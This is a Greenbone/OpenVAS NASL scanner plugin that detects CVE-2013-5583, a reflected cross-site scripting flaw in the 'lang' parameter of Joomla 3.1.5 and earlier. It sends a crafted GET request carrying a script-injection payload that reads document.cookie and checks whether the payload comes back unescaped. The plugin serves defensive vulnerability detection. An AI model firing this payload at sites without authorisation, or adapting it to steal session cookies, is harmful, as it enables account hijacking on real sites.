Joomla! 'lang' Parameter Reflected Cross Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:joomla:joomla";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804057");
  script_version("2023-07-27T05:05:08+0000");
  script_cve_id("CVE-2013-5583");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-07-27 05:05:08 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"creation_date", value:"2014-01-06 12:53:52 +0530 (Mon, 06 Jan 2014)");

  script_name("Joomla! 'lang' Parameter Reflected Cross Site Scripting Vulnerability");

  script_tag(name:"summary", value:"Joomla is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request and check whether it is able to
read cookie or not.");

  script_tag(name:"solution", value:"Upgrade to Joomla version 3.1.6 or later.");

  script_tag(name:"insight", value:"Input passed via the 'lang' parameter to
'/libraries/idna_convert/example.php' script is not properly sanitized before being returned to the user.");

  script_tag(name:"affected", value:"Joomla version 3.1.5 and prior.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary HTML and
script code in a user's browser session in the context of an affected site.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/54353");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/61600");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2013/Aug/27");
  script_xref(name:"URL", value:"https://github.com/joomla/joomla-cms/issues/1658");
  script_xref(name:"URL", value:"http://disse.cting.org/2013/08/05/joomla-core-3_1_5_reflected-xss-vulnerability");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("joomla_detect.nasl");
  script_mandatory_keys("joomla/installed");
  script_require_ports("Services/www", 80);

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if (!jPort = get_app_port(cpe:CPE))
  exit(0);

if (!dir = get_app_location(cpe:CPE, port:jPort))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + '/libraries/idna_convert/example.php?lang=";><script>alert(document.cookie);</script><!--';

if (http_vuln_check(port:jPort, url:url, check_header:TRUE, pattern:"><script>alert\(document.cookie\);</script>",
                   extra_check:">phlyLabs")) {
  report = http_report_vuln_url( port:jPort, url:url );
  security_message(port:jPort, data:report);
  exit(0);
}

exit(99);